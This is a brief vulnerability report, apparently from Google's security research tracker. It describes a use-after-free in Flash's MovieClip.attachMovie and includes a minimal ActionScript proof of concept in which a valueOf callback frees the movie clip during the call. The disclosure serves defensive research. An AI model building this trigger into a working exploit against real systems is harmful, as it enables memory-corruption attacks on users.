Source: https://code.google.com/p/google-security-research/issues/detail?id=571 There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free. A minimal PoC is as follows: n ={valueOf : func}; function func(){ _global.mc.removeMovieClip(); // fix heap here; } this.createEmptyMovieClip("mc", 1); _global.mc = mc; mc.attachMovie("myResetButton","newResetButton", n); A sample swf and fla are attached.
